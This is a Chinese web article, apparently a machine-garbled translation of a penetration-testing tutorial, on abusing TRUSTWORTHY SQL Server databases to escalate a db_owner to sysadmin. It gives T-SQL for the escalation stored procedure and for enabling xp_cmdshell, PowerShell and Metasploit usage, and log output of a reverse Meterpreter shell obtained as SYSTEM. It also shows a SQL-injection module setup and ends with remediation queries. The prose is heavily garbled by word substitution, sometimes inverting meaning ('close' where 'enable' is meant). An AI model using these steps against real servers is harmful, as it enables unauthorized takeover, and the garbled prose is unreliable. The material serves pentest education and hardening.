售前咨询
技术支持
渠道合作

科普:从基础开始谈Sql Server数据库渗透

科普:从基础开始谈Sql Server数据库渗透

SQL Server经过DBA(数据库管理员)设置可信数据库。复杂的说可信数据库就是允许进入内部资源,就像网络分享,Email function,别的数据库对象。这切实不老是功德,可是当零碎希图员创建一个可信数据库可是未将领有权限设置美满,那么侵害也就吐暴露来了。在这篇文章中,我将暗示用户宽泛是怎么样为Web操纵创建数据库,当SQL Server数据库局部权设置装备摆设不同理时咱们怎么样停止提权。我想渗透测试师,操纵开辟者,以及网络保险高兴喜爱者会love这篇文。话说大多数DBA应当已经知道这些工具了。

我会供给基础的实验步调指导,假如你认为没有性趣(Ps.小编率性了)或许等闲挑着看:

Setting up a Lab

Attacking Vulnerable Databases

Automating the Attack PowerShell

Automating the Attack Metasploit

Automating the Attack via SQL Injection with Metasploit

Options for Fixing the Issue

创建实验情况

接下去我会供给一个实例来演示创建一个SQL Server效力器的基础步调。

下载Microsoft SQL Server Express 并安置SQL Server Management Studio。

遵照领导一步步安置SQL Server,但请确保封闭了夹杂验证模式以及在外地封闭了干系效力。

在安置操纵SQL Server Management Studio程序时操纵“SA”帐户登录SQL Server并停止设置。单击“New Query”(新建查询)按钮操纵TSQL,下面就创建一个名为“MyAPPDb”的数据库吧。

Default — Create database

CREATE DATABASE MyAppDb

— Verify sa is the owner of the application database

SELECT suser_sname(owner_sid)

FROM sys.databases

WHERE name = ‘MyAppDb’ 123456 — Create databaseCREATE DATABASE MyAppDb — Verify sa is the owner of the application databaseSELECT suser_sname(owner_sid)FROM sys.databasesWHERE name = ‘MyAppDb’

单击新建查询,操纵TSQL,接下去咱们我们创建一个名为“MyAppUser”的SQL Server用户。在实在场景中DBA会创建一个帐户用来连贯数据库效力器。

Default — Create login

CREATE LOGIN MyAppUser WITH PASSWORD = ‘MyPassword!’; 12 — Create loginCREATE LOGIN MyAppUser WITH PASSWORD = ‘MyPassword!’;

单击新建查询而后仍是看到TSQL窗口。接下去为MyAppUser用户在MyAppDb数据库中分配权限。在真假相况中DBA或者如许做,如许一个SQL Server帐户登录后,即或许操纵他或许操纵的数据库。

Default — Setup MyAppUsers the db_owner role in MyAppDb

USE MyAppDb

ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];

CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];

EXEC sp_addrolemember [db_owner], [MyAppUser]; 12345 — Setup MyAppUsers the db_owner role in MyAppDbUSE MyAppDbALTER LOGIN [MyAppUser] with default_database = [MyAppDb];CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];EXEC sp_addrolemember [db_owner], [MyAppUser];

确认MyAppUser已经增长下场部权。

Default — Verify the user was added as db_owner

select rp.name as database_role, mp.name as database_user

from sys.database_role_members drm

join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)

join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) 12345 — Verify the user was added as db_ownerselect rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

设置MyAppDb数据库为可信

Default ALTER DATABASE MyAppDb SET TRUSTWORTHY ON 1 ALTER DATABASE MyAppDb SET TRUSTWORTHY ON

下面的查询会返回SQL Server中局部的数据库,MyAppDb以及MSDB数据库会被标记成可信。

Default SELECT a.name,b.is_trustworthy_on

FROM master..sysdatabases as a

INNER JOIN sys.databases as b

ON a.name=b.name; 1234 SELECT a.name,b.is_trustworthy_onFROM master..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;

操纵TSQL封闭xp_cmdshell,封闭这个会简化咱们的实验。即便咱们没有封闭它,它也或者被进犯者垄断。

Default — Enable show options

EXEC sp_configure ‘show advanced options’,1

RECONFIGURE

GO

— Enable xp_cmdshell

EXEC sp_configure ‘xp_cmdshell’,1

RECONFIGURE

GO 123456789 — Enable show optionsEXEC sp_configure ‘show advanced options’,1RECONFIGUREGO — Enable xp_cmdshellEXEC sp_configure ‘xp_cmdshell’,1RECONFIGUREGO

进犯可信数据库

据Microsoft指出,一个零碎希图员设置装备摆设可信数据库的权限时,会存心偶然的批准特权帐户提拔数据库的权限。据我观察,这句话部分切确。在某些场景中,也有或者黑白特权用户提拔权限,当前我会在博文中介绍。当初你即或许遵照说明提拔MyAppUser

用户的权限了。

留意:以下所述是在SQL Server 2005,2008,2012版本中测试的,别的版本作者没有测试。

操纵MyAppUser用户登岸SQL Server,而后实验TSQL,创建一个名为sp_elevate_me的存储过程。这个存储过程在OWNER权限中运转,这是sa帐户具有的情况。因为是操纵sa权限登录的,所以这或者将MyAppUser插足零碎希图员组。此外,这真的是很或者的变乱,因为db_owner角色或许在数据库中方便创建存储过程,并且这个数据库还被设置装备摆设成可信的。

Default — Create a stored procedure to add MyAppUser to sysadmin role

USE MyAppDb

GO

CREATE PROCEDURE sp_elevate_me

WITH EXECUTE AS OWNER

AS

EXEC sp_addsrvrolemember ‘MyAppUser’,’sysadmin’

GO 12345678 — Create a stored procedure to add MyAppUser to sysadmin roleUSE MyAppDbGOCREATE PROCEDURE sp_elevate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember ‘MyAppUser’,’sysadmin’GO

确认MyAppUser切实不是零碎希图员

Default –Verify MyAppUser is not a sysadmin

SELECT is_srvrolemember(‘sysadmin’) 12 –Verify MyAppUser is not a sysadminSELECT is_srvrolemember(‘sysadmin’)

接下去,实验存储过程增长MyAppUser用户到sysadmin

Default — Execute stored procedure to get sysadmin role

USE MyAppDb

EXEC sp_elevate_me 123 — Execute stored procedure to get sysadmin roleUSE MyAppDbEXEC sp_elevate_me

开头,咱们查询下MyAppUser用户可否领有零碎希图员权限了。

Default — Verify sysadmin role was added

SELECT is_srvrolemember(‘sysadmin’) 12 — Verify sysadmin role was addedSELECT is_srvrolemember(‘sysadmin’)

好了,咱们当初领有了零碎希图员权限,咱们即或许实验操作零碎的号令了,就像下面这条

Default — Verify sysadmin role

EXEC master..xp_cmdshell ‘whoami’ 12 — Verify sysadmin roleEXEC master..xp_cmdshell ‘whoami’

假如你仍是对这个过程所发生生机的细节有疑难,那么咱们就来一个总结吧。

sa帐户是MyAppDb数据库领有者(database owner)

MyAppUser在MyAppDb数据库中,领有db_owner在该数据库中的权限,冗杂点说就是MyAppUser用户在这个数据库中有希图权限。

因为MyAppUser帐户实质上就是MyAppDb数据库中的希图员,它或许像局部者权限一样去实验号令。

在上面例子中,咱们只是冗杂的操纵OWNER权限实验号令,创建了一个存储过程(具有sa帐户情况)将MyAppUser增长到零碎希图员组。大爱,当初咱们就是Sysadmin了!

操纵PowerShell停止被动化进犯

我将一个小型的PowerShell脚本放入被动化进犯中。下面的截图就暗示了一些基础操作。假如你感趣味的话,或许在这里下载。它反对将当前用户增长到Sysadmin组中,以及创建一个全新的领有Sysadmin权限的用户。更多细节标题问题或许参照救命文档。

Default Import-Module .\Invoke-SqlServerDbElevateDbOwner.psm1

Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 12 Import-Module .\Invoke-SqlServerDbElevateDbOwner.psm1Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

操纵Metasploit停止被动化进犯

我知道有些朋侪loveMetasploit,所以同样的我也有创建一个被动化进犯module。这会有垄断网络渗透测试师的义务了。起首,感谢感动Juan Vazquez,Joshua Smith以及Spencer McIntrye的救命,这个Metasploit 框架才得以面世。

下面是基础操作步调。

在Kali中键入“msfupdate”从Rapid7中更新Metasploit Framework。

在终端窗口中运转“msfconsole”

选择并安置这个模块,可是一定要记得将目的动静变卦了。

Default use auxiliary/admin/mssql/mssql_esclate_dbowner

set rhost 172.20.10.2

set rport 1433

set username db1_owner

set password MyPassword! 12345 use auxiliary/admin/mssql/mssql_esclate_dbownerset rhost 172.20.10.2set rport 1433set username db1_ownerset password MyPassword!

掀开表现选项,用以确保部分正常。

假如部分都准备好,那么就开端运转吧。

当初你或许操纵像“mssql_payload”的模块获取shell了。

Default msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payload

msf exploit(mssql_payload) > set rhost 172.20.10.2

rhost => 172.20.10.2

msf exploit(mssql_payload) > set rport 1433

rport => 1433

msf exploit(mssql_payload) > set username db1_owner

username => db1_owner

msf exploit(mssql_payload) > set password MyPassword!

password => MyPassword!

msf exploit(mssql_payload) > exploit

[*] Started reverse handler on 192.168.91.128:4444

[*] The server may have xp_cmdshell disabled, trying to enable it…

[*] Command Stager progress – 1.47% done (1499/102246 bytes)

…[SNIP]…

[*] Sending stage (769536 bytes) to 192.168.91.1

[*] Command Stager progress – 100.00% done (102246/102246 bytes)

[*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > 12345678910111213141516171819202122 msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payloadmsf exploit(mssql_payload) > set rhost 172.20.10.2rhost => 172.20.10.2msf exploit(mssql_payload) > set rport 1433rport => 1433msf exploit(mssql_payload) > set username db1_ownerusername => db1_ownermsf exploit(mssql_payload) > set password MyPassword!password => MyPassword!msf exploit(mssql_payload) > exploit [*] Started reverse handler on 192.168.91.128:4444[*] The server may have xp_cmdshell disabled, trying to enable it…[*] Command Stager progress – 1.47% done (1499/102246 bytes)…[SNIP]…[*] Sending stage (769536 bytes) to 192.168.91.1[*] Command Stager progress – 100.00% done (102246/102246 bytes)[*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500 meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter >

操纵Metasploit停止SQL注入被动化进犯

在内部网络渗透测试中,最简单找的便是SQL注入了。这也是为甚么,我会写这个模块的起因。必须再提一次,感谢感动Juan Vazquez和Joshua Smith这俩基友的救命,这个模块手腕够面世。

在Kali中键入“msfupdate”从Rapid7中更新Metasploit Framework。

在终端窗口中运转“msfconsole”

选择并安置这个模块,可是一定要记得将目的动静变卦了。

Default use auxiliary/admin/mssql/mssql_esclate_dbowner_sqli

set rhost 10.2.9.101

set rport 80

set GET_PATH /employee.asp?id=1+and+1=[SQLi];– 1234 use auxiliary/admin/mssql/mssql_esclate_dbowner_sqliset rhost 10.2.9.101set rport 80set GET_PATH /employee.asp?id=1+and+1=[SQLi];–

掀开表现选项,以确保部分正常

假如部分都准备好,那么就开端运转吧。

当初你或许操纵像“mssql_payload_sqli”的模块,或者PowerShell照耀技术获取shells

修复这个标题问题

Microsoft有一些不错的建议,救命防止这类典范榜样的进犯,所以我建议去查看他们的网站获取更多动静。自然的,修复会窜改开辟情况,操纵,接下去会有一些选择救命你一步一步修复。

查抄设置为“TRUSTWORTHY”并且是sysadmin领有局部权的数据库。

Default SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME

FROM sys.server_principals r

INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id

INNER JOIN sys.server_principals p ON

p.principal_id = m.member_principal_id

inner join sys.databases d on suser_sname(d.owner_sid) = p.name

WHERE is_trustworthy_on = 1 AND d.name NOT IN (‘MSDB’) and r.type = ‘R’ and r.name = N’sysadmin’ 1234567 SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAMEFROM sys.server_principals rINNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_idINNER JOIN sys.server_principals p ONp.principal_id = m.member_principal_idinner join sys.databases d on suser_sname(d.owner_sid) = p.nameWHERE is_trustworthy_on = 1 AND d.name NOT IN (‘MSDB’) and r.type = ‘R’ and r.name = N’sysadmin’

假如具有,那么将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB)。这或许救命避免,在存储过程当中实验xp_cmdshell和一些别的歹意的操作。它还将实验一个仅批准存储过程查询干系数据库动静的沙盒。

Default ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF 1 ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF

此外,思索数据库中的用户是不是有sysadmin权限。假如你的操纵程序必要从内部数据库接见会面对象,那么下面有些体例或许替代可信数据库。CLR存储过程等,别的常见选项包括:

封闭“cross db ownership chain” 可是这也会有一定侵害。更多干系动静或许查看http://msdn.microsoft.com/en-us/library/ms188694.aspx.

分配操纵程序组所必要的内部对象权限,但这关于希图又有一定贫苦。

操纵认证用户,接见会面内部存储过程必要获取认证。这是我目前认为最靠谱的管理希图,你或许到微软官网去看看,http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Wrap Up

这篇文主假定救命渗透测试师,开辟者以及dev-ops相熟一些常见的SQL Server过错设置装备摆设。进犯或许直接通过数据库直接连贯,但最有或者是对站点,桌面,移动操纵停止SQL注入。开头渴望这篇文,你或许love!

上一篇:

下一篇:

相关文章